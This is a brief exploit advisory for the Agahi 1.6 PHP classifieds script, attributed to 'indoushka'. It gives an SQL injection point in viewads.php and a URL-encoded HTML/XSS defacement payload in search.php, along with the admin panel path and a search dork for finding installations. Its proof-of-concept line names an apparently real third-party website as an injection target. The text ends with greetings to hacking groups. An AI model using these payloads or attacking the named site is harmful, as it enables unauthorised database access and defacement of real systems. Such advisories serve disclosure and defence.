Agahi 1.6 Cross Site Scripting / SQL Injection

`| # Title : Agahi 1.6 Sql injection Vulnerability  
| # Author : indoushka   
| # email : [email protected]   
| # Dork : برنامه نویسی و پشتیبانی : OpenPHP.ir نسخه 1.6  
| # Tested on: windows 8.1 Français V.(Pro)   
| # Download : http://www.openphp.ir/  
=======================================  
  
SQl inJection :  
  
http://127.0.0.1/agahi16/viewads.php?adsid=5 (inject her)  
  
cp LOgin : http://127.0.0.1/agahi16/admin/  
  
( XSS / HTML Inject ) :  
  
http://127.0.0.1//agahi16/search.php?word=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E  
  
poc :  
  
http://edeh20.ir/arsenjan/sgroup.php?mgid=1&sgid=7 (inject her)  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/  
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net  
---------------------------------------------------------------------------------------------------------------  
`